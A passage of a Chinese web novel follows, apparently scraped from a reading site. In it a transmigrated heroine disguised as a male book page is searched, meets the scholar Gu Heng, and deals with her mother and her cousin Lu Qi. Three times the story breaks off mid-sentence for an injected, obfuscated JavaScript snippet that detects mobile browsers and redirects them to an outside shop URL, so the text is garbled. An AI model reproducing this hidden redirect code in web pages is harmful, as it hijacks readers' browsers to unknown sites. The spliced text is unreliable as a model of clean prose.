柳棠笑得勉强:“姑娘有所不知,小人……小人不似寻常男子那般雄壮,有些肥胖……” 瑛姑嫌恶地皱了皱脸,加快进度。 柳棠怕她摸到那几条用于固定的宽带子而生疑,一下子把人薅起来,“使不得啊姑娘……” 对上柳棠的脸,瑛姑这才发觉这男人皮肤十分细白,五官也很精致,眉毛也似乎有修剪过,不由又想起刚才的手感。 这人不像个男人,倒像个姑娘啊? 又想到公子虽然混球,但从来不会坏了男女大防,这次怎么会想起安排她来给一个男人搜身……她琢磨过味儿来,有些怀疑地扫柳棠一眼,想女扮男装混到公子身边好借机爬床? 实在好心机好手段好无聊! 瑛姑冷哼一声:“你怕什么,心里有鬼?” 说着迅速伸手,要一探究竟。 柳棠被逼得没办法,赶紧把机关打开,刚好迎上瑛姑伸来的手。 空气一下子凝滞。 4. 第 4 章 瑛姑脸色一瞬爆红,而后立刻转黑,黑到极点,面沉似水。一双柳叶眉倒竖,像两柄短剑,双眼迸出火焰淬着利刃。她目光锁在柳棠身上,似要暴起杀人。 柳棠只觉她眉眼间寒光凛冽,身上恍惚已中数刀。 妈耶,这姑娘不会拿刀砍死她吧? 易地而处,有男人敢这么对她,她绝对要把这男的阉了。可她没办法啊,而且那东西是假的,她是女的啊,应该不算太冒犯吧? 但这姑娘不知道她是女的啊,要命! 柳棠心生惧意,讪笑着后退:“对不住,真的对不住,我不是故意,你那么摸我,我真的没办法……” “骚猪!受死!”瑛姑气极,厉声喝止,不知从哪里抽出一把长刀就向柳棠砍去。 柳棠大惊失色,慌忙跑路,连滚带爬跑出一道月洞门,和一个正往这边走的人撞在一起。 这人胸膛铁墙一样,撞得柳棠头昏眼花看不清路。她本能把这人抓住,躲到他身后去,焦急道:“救命,兄台救命!” 与此同时,身后有人快速越过他们,初砚的声音在前方响起:“瑛姑!你在干什么,还不快住手?!” 柳棠探头去看。 瑛姑瞪着她,脸上含霜,咚一下单膝跪在地上,“求公子准我杀了这淫贼!” 公子? 柳棠这才后知后觉地抬头,看见一条完美的下颌线,姓顾的压根儿不看她,对瑛姑点点头道:“委屈你了,这件事我来处理。你和初砚先下去吧。” “公子!”瑛姑很不甘心。 顾珩看一眼初砚,后者便拉着瑛姑走了。 等走远了,瑛姑一把甩开初砚,自己气冲冲往前走。 初砚叹一口气,快步追上去:“你是怎么了,公子面前竟然失态至此?” 瑛姑冷哼一声,声音又怒又冷:“我失态?你们竟然让我去给一个男人验身,我没在公子面前杀了那骚猪已是最大的让步了!” 骚猪……? 初砚咳嗽一声,“实在是这个人身份特殊,验身的任务只有交给你公子才能放心,公子身边能用的只有你我二人,实在是没法子……不过你放心,公子必然会为你讨回公道。” 瑛姑轻蔑地哼了声,情绪却在急转的思绪中平静大半。 “身份特殊是怎么个特殊法,是那边的人?公子怎会怀疑他是个女人?” 初砚默了默,问:“她,真是个男人?” “我亲自验的身还能有假?!”瑛姑想到刚才那一幕简直想剁了自己的手。 - 这边柳棠见两人离开,急促的心跳渐渐缓和下来,她松开拽着顾珩衣服的手,正准备给他行个礼告罪,结果只见这男人突然伸手扣紧了她的手腕。 他用力一拽,柳棠一个踉跄,再次砸在他身上,鼻子剧痛。 柳棠在心里把他骂了个狗血淋头,面上还得赔笑:“哎哟,公子,您没事吧,小人得罪,小人失礼,小人失礼……” 顾珩感受着她的脉搏,确认这人脉象确是女子后,听着她挑衅般的言语,深深看她一眼,后又突然笑着道:“小郎君血气方刚,擎天一柱经久不消,真真天赋异禀让人叹服。” 柳棠反应了一会儿,才明白他在说什么。 刚才逃命,形势紧张,她忘了把机关合上了!那截木头这会儿正结结实实杵在人大腿上! 天!她竟然在面试的时候当众猥亵了面试官! “啊!……对不住对不住,我不是有意……” 对着一张放大的俊脸,柳棠这会儿切切实实感觉自己脑袋热得要冒烟,她慌张地往后躬身,暗暗用腿去挤那两个按钮,急得脑门直冒汗。 偏偏越是着急要干什么,老天就越不让你如意,折腾半天,机关却一点反应也没有。 柳棠后悔买太便宜的男装了,那宽大的衣摆一点也不为她遮掩,反而分不清好歹似的刻意炫耀,目之所及十分浮夸。柳棠就没见过有谁能雄伟过此刻的她的。 偏偏姓顾的还抓着她,叫她避无可避,就这么雄赳赳气昂昂地冲着他示威。 要老命了,她还能全须全尾地走出县令府吗? 顾珩将她一切反应尽收眼底,心下疑惑:这样一个心无城府,行事处处留有漏洞的人,真是那边派来对付他的? 他们认为自己会吃这套? 沉默地打量了柳棠片刻,顾珩突然语出惊人:“这么久了还这么激动,是有病,还是把我也看上了?” 柳棠一滞,然后开始剧烈咳嗽。 我确实是看上你了,但这话能直接说出口吗? 柳棠弓着身子,嘴里嗫嚅着重复“小人失礼”几个字,大脑则在疯狂运转着想她该怎么解释。 顾珩看着她额上的细汗,笑一声,松了手道:“开玩笑罢了,谁都有年轻气盛的时候,不必介怀。去找管家吧,先熟悉几天再来伺候。” 说完也不等柳棠反应,转身便走了。 顾珩回到书房,初砚向他汇报瑛姑的发现。 听到说柳棠“身材肥硕,胸膛绵软”、“无耻小人、定力极差”时,顾珩不置可否;听到说柳棠“长约五寸,确为男子不假”时,顾珩笑起来。 “这木匠有点意思。” “你去店里看看,要是有稀奇玩意就带回来。” - 等人走没影儿了,柳棠才软着身子蹲在花坛边。 背上的冷汗从瑛姑那一关开始就没干过,这会儿心脏还在突突突地跳。 真是好险,还好人家顾公子心胸宽广不跟她计较。 柳棠手动合上机关,身上利索了,飘出去的魂也都飞回来了。她盯着面前的石地板微微出神。 真要觉得顾珩是单纯的仁善,那她就是傻子。正常人突然被怼一下,就算掩饰地再快,也有一丝厌恶流露出来。那家伙可是从头到尾都表情温和,笑得如沐春风啊。 这不是笑面虎是什么?! 柳棠意识到自己招了个不好惹的人,然而现在后悔也没用,任务目标已经明确了就是他,就算这人是想把她留在身边慢慢折磨,她也没辙,只能硬上。 柳棠叹了口气。 突听不远处一声厉喝:“此处不可出恭!”好险没把柳她心脏吓得跳出来,按着胸腔下意识抬头,想看看谁这么没素质时,就见那人正指着她这边。 柳棠左右看看,嘴角抽搐,不可置信地指了指自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463580|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :我?出恭?在这里? 拜托,她只是累了蹲一下好吗? 你们做下人的,气血不足的时候连蹲都不能蹲? 那人拔身往这边快步过来:“你是哪个院儿里的,报上名来,随我去管家处领罚……” 去管家处领罚? 她还要去找管家熟悉宅子环境呢,要被这人抓去胡说一通,那还了得?她干脆也别等任务期限截止了,直接跳河算了。 柳棠站起身挡住脸,拔腿就跑。 “府内不可狂奔!你给我站住!” 柳棠:既然如此,奔就对了!拜拜了您! 把人甩开,柳棠平复了呼吸,理好头发和衣服,按记忆中的路线,拿着腰牌,端庄地出了宅门,找到王管家说了顾珩的安排。 王管家点点头,对她端庄的仪态很是满意,亲自把她带着一一认路,说一些在府里做事的注意事项,关于顾珩此人喜好之类却说得极少,王管家让她到时候跟着初砚学。 柳棠一一记下复述,王管家对她举一反三的能力很是满意,拿了新腰牌给她,让她去学两天规矩,之后就可以看情况到顾珩院子去报道了。 柳棠拿着腰牌心里有点焦灼,还得学两天规矩才能去顾珩身边,那这任务什么时候才能完成啊,她只有三天时间了。 一晃眼到了午时,王管家让她在府里吃午饭,柳棠婉拒了。 她现在是试工阶段,没有正式雇工的福利,几顿饭是要自己解决的,这样也不错,她正好回去解决一下生理需求,她憋了一上午了。 出了后门,柳棠一路穿小巷快步回家。 柳母坐在桌边,守着一桌菜心不在焉。见她回来,眸子亮了一亮,紧接着又暗下去半个调,“回来了,还顺利吗?” 柳棠点头:“再学两天规矩就能留下了。” 不尴不尬地吃完一顿饭,柳棠回到自己房间,靠在矮榻上,闭着眼复盘。 能留下来,意味着没人识破她是女扮男装,那个郎中摸脉没能摸出来她是女子,瑛姑也确实相信了她是男人。 最艰难的一步已经跨过去了,接下来只需要学规矩,她得学快些,多分点时间去完成任务避免暴毙。至于别的蹊跷事,她这个朝不保夕的人暂时考虑不了那么多。 可作为一个书童,到底要做出什么样的行为,才能让别人“心旌荡漾、念念不忘”? 柳棠冥思苦想,也没想出个所以然来。 毕竟从表面上看,她是个男人,顾珩怎么可能会对她一个“男人”感兴趣,产生这么暧昧的念头?柳棠觉得自己遇到了重大难题,开始怀疑女扮男装是不是一个明智的决定。 刚这么一想,系统欢快的提示音响起来: “恭喜郡主殿下完成任务,成功让任务目标对您印象深刻,时时回想,念念不忘。” 柳棠:……? 她不是还没开始发力吗,怎么个意思,任务目标自我攻略了? 还是说在系统这里,恶心也是上心? 柳棠思绪纷乱心情复杂,那边系统又马不停蹄宣布了下一项任务:“接下来请乘胜追击,继续撩拨目标人物,开启心动连接——与他牵手吧!(任务期限五天)” 5. 第 5 章 柳棠:“……” 这才刚见第一面呢,就要牵手了,不愧是限制文系统,进度拉的是真够快啊。 柳棠翻了一中午的剧本,在字里行间找“顾珩”两个字,却怎么也找不到。不过也是,顾珩在原文里连炮灰男配都算不上,压根儿没有出场机会,找不到才正常。 柳棠长叹一口气,把剧本丢开,穿戴整齐上县令府学规矩去了。 粗糙学完礼仪,她又学了书房管理工作,其中包括书籍分类存放、日常养护,书房易耗品如笔墨纸砚等的管理,还负责一部分新书的添置,除此之外,她还得会句读,要在顾珩需要的时候给他念书。 一条条内容琐碎杂多,譬如书画的日常使用、清洁、晾晒、驱虫熏香等等都有标准;又如各种笔墨纸砚的特性、如何分辨、县城里都有哪些家在卖、质量如何、价格几何等等等等…… 记得柳棠头昏脑胀,好不容易一条条死记硬背下来,天都快黑了。 教她的人见她记得这么快,还很是惊讶,真心实意夸奖了几句,说是他当年记下这些都花了两三天时间,没想到她竟然记得这么快,真是人又好看又聪明巴拉巴拉的。 柳棠面上十分谦虚,实则心里飘飘然。她的记忆能力,跟天才没法比,在普通人里却算是很不错的了。 她以为学习到此为止,顶多明天再考校一番,看她是否记得牢固,这事儿就算过了。 柳棠计划今晚上回去再背背,多巩固一下,争取明天一次就过,好领正式的内宅腰牌上顾珩书房刷任务去。 不曾想,带她的那个人咂咂嘴,意犹未尽地说:“行了,天儿也不早了,你先回去,明天过来我再教你其他的。” 柳棠谦逊的笑容出现裂缝:“还有……其他的?” 那人奇怪地看她一眼,好像她在说废话,“书童是要跟着主子出门的,只会些书房里的东西怎么行?” “出门在外,你得会打听消息吧,得知道如何到别人府上投贴子吧,得知道怎么安排食宿吧,碰到麻烦事你得会说话吧,碰到刁奴打人你得能扛吧?……” 柳棠:…… 好好好,谁以后再跟她说古代老百姓没法儿德智体美劳全面发展她就跟谁急! 柳棠伸手打断他滔滔不绝的举例:“蒋兄,你看厨房是不是要熄灶了,怎么不见冒烟了?” “这都是学问,能学你就多学着点,到将来都是有好处的……不冒烟了就是熄灶了,不管那个咱接着……哎哟喂!厨房熄灶了!我还没吃饭呢。小柳我先走了,咱明天再继续……” 蒋兄急急忙忙大步离开了。 柳棠低低笑了一声。 等人没影儿了,她看一眼天色,重重叹了口气。 明儿天一亮还得过来背书,没苦硬吃说的就是她本人了。只愿顾珩能乖一点配合一点,让她顺利完成系列任务。 柳棠疲惫地回到家,还没进后院儿,就听里面有男人的声音。 柳棠吓了一跳,躲在门后沿缝隙往里扫了一眼,竟是陆岐站在院子里,肩上扛着扁担,扁担上挂着两个木桶,正作势要出去挑水,柳母叫都叫不住。 柳棠赶紧找地方躲起来,等陆岐走出门去不见影儿了才快速蹿进去,又把柳母吓一跳。 柳棠正要说话,被柳母拉到房里:“快快把衣服换下来,别让小陆瞧见。” 女扮男装到县令府上当书童这种事,知道的人越少越好。 柳母到柜子里拿衣服,动作比柳棠麻利熟练得多,衣裙首饰鞋袜都要配套,把柳母急得够呛。 柳棠倒是不着急,利落地解开外裳再套上女装,心里疑惑着陆岐的出现。 不是说旬休日才来吗? 于是问:“都这个时候了,表哥怎么来了?” 柳母顿了一下,说:“今日是你生辰,小陆专门买了礼物,还从酒楼里订了一桌席面……” 今天是原主的生日? 柳棠愣了下,下意识看向柳母。 柳母声音低下去,迎着柳棠的视线,她轻声问:“你的生辰日是在什么时候?”眼神里忧悲交加,却还带着一丝希冀。 看来坦白的时机就是此刻了。 柳棠认真地看着她,说道:“我生日在五月,已经过了。” 柳母怔忪,视线模糊中,好像又看到女儿身着绫罗绸缎,在华美富丽的房子里冲她笑。 柳母喃喃:“梦里都是真的……” 梦? 原主给柳母托梦了?柳棠没忍住问出声。 柳母回神,擦了擦眼睛,扯出一抹不算好看的笑容,“是啊,棠儿说她现在当了郡主,一整个郡都是她的地盘,生活富裕,百姓和睦,属下也都很听话,日子好过得不得了……” 柳母此时彻底相信,女儿已登西方极乐世界了,而眼前这个,不过是个借尸还魂的陌生人罢了。 在彻底认识到这一点后,一种前所未有的人生虚无感将她整个人攫紧,她极力缓和、平稳地呼吸,胸口却仍窒息一般的难受,整个世界在瞬息之间坍塌下陷,变成万丈深渊,她在其中不断下坠、下坠。 女儿不在了。她活下去的意义在哪? 柳母身形一晃,柳棠赶紧扶着她坐下。 或许是被系统折腾得太过,柳棠现在听见“郡主”两个字就有些应激。随后一个荒谬的想法突然闪现在脑海:她出了岔子没去成限制文世界,反而到科举文世界顶替了原主来当炮灰,那被顶掉的原主会不会去了限制文世界? 不然怎么会莫名其妙给柳母托梦说她成了郡主,未免太巧了吧? 柳棠迟疑着问:“您的女儿,她是成了丹阳郡的郡主吗,是丹阳郡主?” 柳母突然抬起头看她,惊疑不定:“你、你怎么知道?” 还真是啊…… 柳棠表情扭曲地笑笑:“因为这个丹阳郡主,本来应该是我……” 柳母没听明白,但知道这个事情非同小可,紧张地握紧了柳棠的手,问:“你说的这个话,是什么意思?” “我的意思是,您不用担心爱女的安危,她没死,只是去了一个好地方过好日子去了。” 科举文的剧情她走,限制文的任务她干,苦都让她给吃了,您的女儿是单纯享福去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463581|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊! 草淡的系统! 柳母僵在原地,“你说的是真的?” “真的。”真的不能再真了,那真是个顶好的去处。柳棠泪目。 电光火石之间,柳母只觉得春雷炸过,石破天惊,炸得她脑子里嗡嗡作响,转眼又见晴空万里鸟语花香世界缤纷,看得她眼花缭乱。 她重重地扶着桌子,觉得轻飘飘的身子一下子落到了实地,空气不再凝滞,争先恐后地涌向肺腑。她开始急促地喘息,像要溺水的人乍然呼吸到新鲜空气,一瞬世界安宁,如释重负,心生欢喜。她又活了过来。 等柳母消化完情绪,柳棠已经穿好衣服在梳头了。 柳母赶紧接过梳子,想问些什么,心里却生了惧意,这可是货真价实的郡主殿下啊,女儿抢了她郡主的身份,她该是很生气的吧? 柳母憋着满肚子疑问,想问又不敢问,轻蹙着眉,一下一下地给柳棠梳着头发。 柳棠看着镜子里的柳母,问:“您女儿在梦里还说其他话了吗?” 柳母下意识挺直了脊背,答道:“有的。棠儿她还说…还说……” 柳母手上顿住,不可置信又恍然地道:“她让我好好照顾您,她说三四年之后就有机会跟我见面……” 按照原文剧情,柳母确实会在三四年后离世。难道原主有办法把柳母也弄到限制文世界去? 柳棠不得而知,这也不是她目前该考虑的事。但不妨碍柳母非常高兴。 两人互相交换了几轮信息,柳母彻底相信了“灵魂互换”的说法,柳棠也接受了柳母给她脑补的“郡主”身份,因为这事儿解释起来实在很麻烦,而且代这个身份有个好处——无论她今后做什么,柳母哪怕不明白,也会觉得“郡主自有成算”而不去深究,还能在外人面前帮她打打掩护。 柳棠这边梳妆完毕,陆岐才在这时挑着两桶水回来,身上湿了大半。 “小陆你这是摔着了?”柳母吓了一跳,赶紧上前把桶提开,“还管这劳什子水做什么,摔着哪里了没有,我这便去请个郎中来!” 柳母怕他伤着了无法专心读书,别人听说前因后把责任推到她们家头上。 雇个人担一回水也才花一文钱,让别人说她为了省这一文钱折磨秀才公就遭老罪了,这种事她就是长一百张嘴也说不清,对外人而言,她家就是家风不行。这名声一臭生意也要跟着黄,可不得了。 陆岐拦住她,有些尴尬道:“姨母莫慌,我没事,只是几个小童玩水不小心撒到我身上了而已,不碍事。” 不小心撒到,能让衣服鞋袜都湿透? 柳棠当然不信,她没错过陆岐说话时眉宇间的一抹阴翳。 她立刻想到,原文作者为促使陆岐发愤图强,让他走的是“屈辱流”套路,在考取举人之前,这部分的屈辱是靠县学同窗补足的。 担水花了快两刻钟时间,不用想也知道他是被那群同窗给绊住了。 以陆岐睚眦必报的性子,那几个取乐他的士绅子弟很快就会遭到报复。 而她,也籍此想到了让陆岐无法参加中秋诗会的法子。 6. 第 6 章 柳棠不知道陆岐突然犯的什么病,大热的天,淋点冷水就当是凉快凉快了,回来把湿衣服一换、喝完姜汤就又是一条好汉,非得出来买药,还非得叫上她一起。 一路上话还多的不行,一会儿背两段经史子集凸显文采又暗喻自己的抱负,一会儿又说最喜欢射御两门,夹杂一点专业术语,给她讲射御要点,说到具体事例时,表情那叫一个神采飞扬。 要是她真没什么文化,完全听不懂也就算了,还方便她走神。 偏偏她听得懂六七分,那话简直就像飘零半生未逢明主突然高山流水遇知音了一样,没命地往她耳朵里钻,烦得不行。 还是怪她求知欲太过旺盛,越是一知半解的东西,大脑就越要推敲。 脑子被折磨了一路,柳棠在他大量自夸以及“时运不济未逢伯乐”的隐晦抱怨中,学到了丁点知识。 直到药铺就在眼前,柳棠终于迫不及待道:“表哥快去吧,我在外面等你。” 说完也不等他反应,赶紧跑开,找了个清净地方自己凉快去了。 陆岐说这些话是有自己的考量的,一方面是他心里确实郁闷,却无人可诉,另一方面是他想拉近和柳棠的关系。 说了一路,心里实在畅快不少。 流水不争先,争的是滔滔不绝。他不能被一群目光短浅的卑劣之人绊住脚步,他得调整好心态,更加用功读书,只待他朝凌绝顶,眼中再无矮山丘。 看着柳棠欢快地跑开,陆岐为她这一分娇俏感到开怀,眉眼舒展地笑了笑,抬步进了药铺。 - 天黑透了,尽管打着灯笼,柳棠也没敢走太远,就在药铺前的河道边站着。 还有好几天才到中秋,大街上却已经开始张灯结彩,不仅字谜摊子支了起来,各种花灯、节庆食物也都开始售卖了。 一些小孩儿提着两个脑袋大的螃蟹灯、狮子灯等等,用丝线操控着动物关节,让它们凑在一起打架,自己在一边激烈地配音,又笑又叫,吵吵闹闹的。 柳棠转了个身,看河堤下。 能站人的地方都站着人,排着队往河里放河灯,莲花型的、乌篷船样的、奇形怪状的,应有尽有。有些刚放上去就沉了底,有些被风一吹一把火烧了个干净,有些五光十色地顺水飘远,围在旁边的人时而嘘声时而赞叹,还怪有意思。 看人家玩得兴起,柳棠手痒得厉害,心说这有什么难的,姐但凡出手,在座各位都是弟弟,等名声一打响,或许她还能开个折纸班割波韭菜。 越想越远,柳棠咧着嘴直乐。 陆岐提着药包,已经在不远处看了她好一会儿,见她倚在栏边托腮笑得娇憨可爱,一副单纯天真的模样,心中骤然升起无限怜爱,让他胸中鼓噪,激动不已。 怪事,怎么以前就没发现表妹如此惹人喜爱? 陆岐笑着上前,俏皮地侧俯身,将脸挡在她面前,笑问:“表妹在想什么,笑得这么开心?” 柳棠只觉一错眼,面前就压过来黑漆漆一片阴影,骇得她汗毛倒竖,伸手就要挥过去一巴掌。 看清是陆岐,柳棠勉强忍住扇他脸的冲动,转而将人推开,无法自控地阴着一张脸,冷声道:“表哥何故吓我,我受惊之下掉到河里去了怎么办?” 陆岐的第一反应却是她居然对自己冷了脸。 然而这分冷非但没浇熄心头的躁动,反而让他起了一些冲动,蚂蚁爬一样难受,教人想做一些粗狂的举动。 陆岐憋了口气,将冲动忍下去,捡起她的话重听一回。 他看了眼护栏,又看了眼冷着脸的柳棠,只觉得眼前的表妹是别样的娇俏冷艳,他忍不住笑道:“护栏这么高这么稳,表妹要如何掉下去,难不成是化作水流出去?” 他是把自己的生气当作是在撒娇? 柳棠心里恶心,一句话都不想跟他多说,连他面前的那片空气都觉得恶心得很丝毫不想沾惹,于是白眼一翻憋着气大跨步往前走了。 这种女人使小性儿负气走掉的桥段,陆岐在一些杂书里见过很多次,倒是头一回亲身经历,心里生出一些诡异的满足感和使命感。 这个人是他的,他得哄回来。但她最好是以一种又生气但又离不开他的状态回到他身边。 陆岐嘴角带笑,以纵容又宠溺的姿态追上去,无奈地喊:“表妹别气了,我只是开个玩笑罢了……” - 顾珩在河堤旁陪裴简下棋,不过“下棋”只是个噱头。裴大人看街上、看河堤下,什么地方都看,就是不看棋盘;话也说,但不说棋,话里话外劝他回京都。 顾珩但笑不语,等裴简无奈地随意落下一子后,他也拣了颗棋子落下,而后微微一笑:“世伯承让了。” 裴简闻言看了一眼,笑骂:“你小子专挑些不起眼的地方落子,东一颗西一颗的毫无章法,这谁防得住?” 话刚出口,联想到顾珩行为,不由一愣,惊疑道:“此处难道有什么变数?” 顾珩摇摇头:“不过是旅途疲惫,走不动便停下来了,如此而已。” 裴简心说你个滑头还想诓我,你不告诉我我难道不会自己查?反正休致了没事干,一两个月我还是耗得起,到时候就看是你急还是我急。 裴简摸摸胡子不说话,看着外面高高兴兴放河灯的人,心里也惬意起来。 顾珩微笑着收拾棋子,也不说话。 一片宁静之中,一串忙乱的脚步渐渐清晰,守在外面的初砚都来不及阻止,就被人从另一个方向掀开帘子,极其狂野地跨越栏杆飞入亭内。 初砚只从飞扬的裙摆看出此人是个女子。 一时除了震惊还是震惊。 一般会选择这种高难度入场方式的,都是习武之人,年轻的习武之人都讲究一个身轻如燕、飘逸潇洒,像这么一手提着裙子一手翻进来的笨重又豪放的姿态确实没见过。 而他又从这笨重之中,看出来一点熟练和潇洒。 这意味着这位姑娘并不是寻常女子,在他印象中,会做出这种事情的万安县年轻女子只有一个,这两者又身形相仿。 想到那人是谁,初砚就停下脚步转过身,抱臂站在外面不管了,还顺便拦住了裴简的人。 柳棠想过亭子里会有人,但属实没想到传说中宅男属性拉满的顾珩会在里面。 当她提着裙子勇猛翻腾进来,一抬头正对上顾珩双眼时,尖锐的沉默直教人精神恍惚。 毫无疑问,这是一个既无法完成任务又伴有掉马风险的糟糕偶遇时刻。 电光火石之间,她收拾好了面部表情,低下头放下手抚平裙摆,以极端庄优雅却婷婷袅袅又凛然不可侵犯的姿态一欠身,从容不迫地道:“搅扰二位了,告辞。” 做这些的目的是暗示顾珩:我虽然长得有些像你新收的那个书童,但我是美丽漂亮遵规守矩的好人家的姑娘哈哈哈…… 所以你千万别联想啊我真求你了! 柳棠暗叫倒霉,边说边退,话说完时已经退出去两步。 正转身要离开,果然被人叫住:“等一下。” 柳棠:我等你个头! 柳棠脚步一顿,侧过身,并不刻意去看顾珩,余光却把他捆得严严实实,确保再微小的异动都能被她及时觉察。 说出去的话并不客气:“怎么,二位是觉得被我惊扰了雅兴要我谢罪吗?” 顾珩正觉得有点窒息,没有说话。开口的是裴简:“你这丫头说话好生厉害,倒显得是我们无礼了。” “你说说,为何急匆匆地跳进来,又为何看到这位貌美郎君后急匆匆要走?” 这问话虽不至于像新手那样冷冰冰,却一样也没问到点子上。让顾珩轻飘飘地看了他一眼。 裴简人不坏,极善和稀泥,没多少真才实学,能做到大理寺少卿主要是大腿抱得好,而能安稳休致,也是多亏这两样。 这会儿审人的瘾犯了,更加暴露出肚子里墨水稀薄。 不过话都问出去了,顾珩也就捧着茶杯安静看戏。 他这个书童实在太嫩,全然不似训练有素的卧底暗探之流,比五官更快露出破绽的,是她紧绷的身体、慌乱又机警的眼神。 柳棠:“你谁啊,凭什么你问了我就要说?这亭子谁都可以来,又不是你家的,我想来就来想走就走,关你什么事,还管上我了,无不无聊。” 柳棠再不管这两个人,撩开帘子就走了。 裴简被拂了面子也不生气,乐呵呵的,“我听说蜀地一带湿气重,这里的百姓爱吃辣子祛湿,不曾想脾气也火辣辣的,倒是真性情。” 顾珩想的却是:人还不笨。 裴简突然想起来:“不对啊,亭子外面有你我的人守着,见她翻进来怎么一点反应也没有?” 说着开始叫他的人。 被问责的那人支支吾吾地看向顾珩,顾珩一挑眉,道:“哦,是我的意思。” 这些年他生了个心善的毛病,最是见不得那些想做点什么老天却偏不给机会的事。 裴简诧异地看他一眼,碍于两人年龄悬殊忍住了八卦,实则也不相信偏僻之地的女子能有多大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463582|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能耐,觉得顾珩只是一时新鲜罢了,很快撇开这事,另外问道:“还有几天就是中秋了,贤侄可有什么安排?” 顾珩沉吟道:“闲来无事,打算办个诗会热闹热闹。” “办诗会?好想法好想法,如此一来我更走不得了,非得亲眼一睹贤侄诗情不可。贤侄可想好了要请些什么人?” “才有的想法,没来得及细想……不过县里能对得上诗的也就那些人,一并请来便是。” 裴简一拍手:“嗐!这等清雅事,只请万安县的人有什么意思,不如由我牵头,把周边临近几个县的才子都请来,来办个赛诗会,我同万安县令这些老骨头来当裁判品评一番,一来热闹,二来也能提振文风……” 裴简说得兴起,言语间已然把自己放在了主办方的位置上。 顾珩乐见其成,面上却一番迟疑:“怎好让世伯操劳,还是我来办吧。” 裴简立刻大手一挥,说自己精神头好得很,让他勿要多言,中秋那天只管来做个参会才子即可。 顾珩就笑着恭敬应是。 - 柳棠从装有顾珩的亭子里退出来没多久,就被陆岐追上。 回去的路上柳棠灰头土脸,陆岐却满脸带笑,这倒霉玩意儿以为她跟他闹着玩儿呢。 柳棠在心里连连骂他瘟神老祖,面上冷笑着道:“大街上追逐打闹,成何体统?表哥一介读书人,还有功名在身,该稳重些。” 陆岐看出她在生气,但想不出为什么,他也不想去想,只觉得这样的表妹比之以往更活泼娇憨,让人忍不住要逗她。 面对她的冷言冷语,陆岐并不生气,反而开怀,他稍微收敛神色,道:“表妹此言差矣,天下读书人谁不向往‘浴乎沂,风乎舞雩,咏而归’?学习应张弛有度,闲暇时就当如李太白‘仰天大笑出门去’、杜工部‘一日上树能千回’,倘若整日的正襟危坐,岂不成了庙里的泥胎?” 柳棠听得很想翻白眼。 人是天生就会为自己开脱的,有学问的人更甚,惯会旁征博引引经据典地来包装自己的行为,你若是无法同样引经据典来驳斥他,他就好似真与先贤同列了一样。 书到用时方恨少,她又得装文盲听不懂,柳棠此时只能骂他一句“净扯淡”。 等回到家,应付完这个假生日后,柳棠累得眼皮也睁不开了。躺床上眼睛一闭一睁,便已是第二天清晨了。 这比她赶早八起得还早。 柳棠长叹口气,洗漱完毕,跟柳母招呼一声,拿两个昨晚没吃完的冷馍就往外跑。 县令府这会儿正忙,后门有送菜送货的,她挤过人群亮了腰牌进去府里,厨房里正忙得火热,她在廊下等了一会儿,负责带她的蒋兄才抹着眼从屋里出来。 “来啦,够早的啊,有进取心,不错。” 蒋兄看见她,重重拍了拍她的肩膀,继续说道:“不过我今儿有事,教不了你啦。” 他递过来一本皱巴巴的册子,“喏,这是我当年进来时记的,关键处都在上头了,你仔细背下来,然后让管家考一考,考过了你就能留下了。” 纸上有些微异味,柳棠屏了下呼吸接过来。 这个纸……怎么好像是上厕所用的草纸? 蒋兄背上背着包,又拍拍她的肩:“任重道远,自求多福,希望我回来还能看见你。” 柳棠就问:“蒋兄这是要出远门?” “是啊,这不跟着县太爷办差么,随时要视察下面情况的。耽搁不得了,我还得去书房收拾,走了啊。” “好嘞,蒋兄去忙。”柳棠挥挥手,目送他远去。 然后找了个地方坐着看“书”。这笔记有点年头了,上面炭条写出来的痕迹都糊开了,纸张外缘也起了毛边,但内容却写得清楚有条理。 就这做笔记的功夫,赶现代也是个小学霸了。 柳棠感慨一阵,摒除杂念,捧着学霸笔记仔细记诵。 一整个上午,也就是近两个时辰,柳棠把笔记翻了四五遍,大致记了下来。中午来回的路上一遍遍脱稿背,也背了个十之八九。 柳棠下午就找到管家当场考校。 管家极其刁钻地找了几个最琐碎的考她,所幸她都背出了。管家干瘦的脸上泛出笑来,“你是用功了。” 柳棠笑:“想进步可不得用功嘛,在县太爷府上做事可马虎不得。” 管家:“好小子,可千万记住这句话。随我走吧,表公子这会儿就在东院儿书房里,你能不能留,留下来了是不是做书童,还得那位做决定。” 7. 第 7 章 整个县衙的占地面积相当可观,但撇开前堂办公区域,后堂留下来的生活区域也就一般了。 